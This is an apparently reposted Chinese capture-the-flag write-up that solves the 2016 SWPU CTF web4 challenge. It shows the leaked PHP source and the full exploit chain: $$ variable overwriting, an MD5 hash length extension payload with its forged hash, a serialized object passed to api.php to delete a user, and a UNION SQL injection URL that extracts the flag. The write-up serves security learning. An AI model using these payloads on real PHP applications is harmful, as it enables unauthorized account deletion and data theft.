您的位置:首页 > 其它

详解2016 SWPU CTF web4

2016-10-31 02:11 1246 查看
2016年的swpu结束了,很精彩,我玩的很开心

这个题目我在比赛的时候没有做出来,后来根据官方的wp复现了一遍,学到很多东西,官方的wp地址是:http://bobao.360.cn/ctf/detail/173.html

官方给的web4的题解不是特别详细

现在我详细的讲解一下web4,我会详细讲解web4所有的知识点

首先网站有源码泄露,在:web4.08067.me/web/web.zip会下载到题目的源码,如果题目关闭,那么可以在:http://download.csdn.net/detail/niexinming/9668469 下载的到

下载源码之后在common.php中发现:

foreach(Array("_POST","_GET","_COOKIE") as $key){
foreach($$key as $k => $v){
if(is_array($v)){
die("hello,hacker!");
}
else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}


这段代码很经典啊,是《代码审计:企业级Web代码安全架构》经典例子

这里我简单讲一下,php的$$是:

可变变量

$first ="hello";

$hello ="world";

echo $first." ".$$first;

结果是 hello world

然后说一下上面的代码到底有啥危害:

这个从post,get,cookie中拿到数据,然后会覆盖这段代码未初始化的任何变量,注意前提:(1)这段代码下面的变量,(2)任意未初始化的变量

举例:

foreach(Array("_POST","_GET","_COOKIE") as $key){
foreach($$key as $k => $v){
if(is_array($v)){
die("hello,hacker!");
}
else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}

$a=1;
echo $a;
echo "<br>";
$b;
echo $b;


如果访问http://localhost/common.php?a=hehe&b=admin

那么输出则是

1

admin

可以看出$b被传递进来的参数覆盖

然后我们在 riji.php 这里发现了

if($_SESSION['user'])
{
$username = $_SESSION['user'];
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if($result['userid'])
{
$id = intval($result['userid']);
}
}


这里有个思路就是先利用api.php的一个接口函数从数据库删除我现在登陆的用户,使select * from user where name='$username'查询为空,因为我们一直登陆,所以session会在服务器端保持我们登陆的状态(也就是说服务器端的session不会注销),所以if($_SESSION['user'])在注销之前一直为真,所以当我们在数据库中删除我们登陆的用户之后,则使:$id
= intval($result['userid']); 这里$id成为一个未被初始化的变量,然后就可以被任意覆盖

下面我们就要利用api.php提供的接口函数

因为这个文件被当做公共库被包含,在api.php的最下面找到:

$a = unserialize(base64_decode($api));
$a->do_method();


其中$api没有被初始化,所以这里我们就可以利用这个参数来控制admin这个类

根据流程,我们追到check这个关键函数,这里有个哈希拓展漏洞可以利用:

function check(){
$username = addslashes($this->name);//进入数据库的数据进行转义
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if(!empty($result)){
//利用 salt 验证是否为该用户
if($this->check === md5($result['salt'] . $this->data . $username)){
echo '(=-=)!!';
if($result['role'] == 1){//检查是否为admin用户
return 1;
}
else{
return 0;
}
}
else{
return 0;
}
}
else{
return 0;
}
}


哈希拓展攻击我提供几个文章:

官方web客服提供的参考:http://www.joychou.org/index.php/web/hash-length-extension-attack.html

我自己找的几个:http://blog.csdn.net/syh_486_007/article/details/51228628
http://www.cnblogs.com/pcat/p/5478509.html
原理其实是:根据md5(密钥+已知数据)的值,和密钥的长度,可以推算处md5(密钥+已知数据+可控数据)的值,并且可以计算出正确的可控数据

首先先寻找admin的salt,根据源代码可以在找回密码的地方找到泄露任意用户salt的地方

首先在找回密码的用户名填:admin,剩下的随便填,然后点找回,就会提示密保不正确,而这个跳转的链接里面正好包含admin的salt:
http://web4.08067.me/web/repass.php?username=admin&check=OTE3Y2M4N2Y4OGI4ODMzNjMyYjAxMjQxOGE3MjExYWQ=&mibao=admin&pass=admin
把check解码之后得出:917cc87f88b8833632b012418a7211ad

我把这个记录下来之后,利用这里提供工具进行哈希拓展的破解:https://github.com/JoyChou93/md5-extension-attack

这样使用这个工具:

python md5pad.py 917cc87f88b8833632b012418a7211ad admin 16
Payload:  '\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00admin'
Payload urlencode: %80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00admin
md5: 8f4d7a58b13a34d34f8384595a3de5f7


其中917cc87f88b8833632b012418a7211ad是admin的salt,后面的admin是要添加的数据,16是salt的长度

拿到payload和生成好的md5,然后根据check的流程构造一个调用那个删除用户的接口函数,下面是构造删除当前用户的的代码:

对了,这里面要确定要删除用户的userid是哪一个,在用户登陆的跳转的地方用burp停一下,返回的数据里面的cookie里面有当前用户的userid(base64加密之后的数据)

得到这些之后构造代码:

<?php
class admin {
var $name="admin";
var $check="8f4d7a58b13a34d34f8384595a3de5f7"; //要check的md5
var $data="\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00"; //工具生成好的可控变量(payload)

var $method="del_user"; //要调用的函数
var $userid="94"; //要删除的用户

}

$a=new admin();
$api=base64_encode(serialize($a));
echo $api;

然后得到一个base64的编码的字符串:
Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI4ZjRkN2E1OGIxM2EzNGQzNGY4Mzg0NTk1YTNkZTVmNyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoyOiI5NCI7fQ==

然后新开一个浏览器或者打开浏览器的隐私访问功能访问(因为代码中检测如果你是登陆状态的话就会跳转到/web/riji.php):
http://web4.08067.me/web/api.php?api=Tzo1OiJhZG1pbiI6NTp7czo0OiJuYW1lIjtzOjU6ImFkbWluIjtzOjU6ImNoZWNrIjtzOjMyOiI4ZjRkN2E1OGIxM2EzNGQzNGY4Mzg0NTk1YTNkZTVmNyI7czo0OiJkYXRhIjtzOjQ4OiKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAiO3M6NjoibWV0aG9kIjtzOjg6ImRlbF91c2VyIjtzOjY6InVzZXJpZCI7czoyOiI5NCI7fQ==
你会发现提示:

(=-=)!!<script>alert("Delete user success!!")</script>

成功删除之后就可以调用http://web4.08067.me/web/riji.php?id=1进行注入了

很简单union的方法就可以注入出flag了:
http://web4.08067.me/web/riji.php?id=-1 union select 1,2,(select flag from flag)

可以看到激动人心的一幕:

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: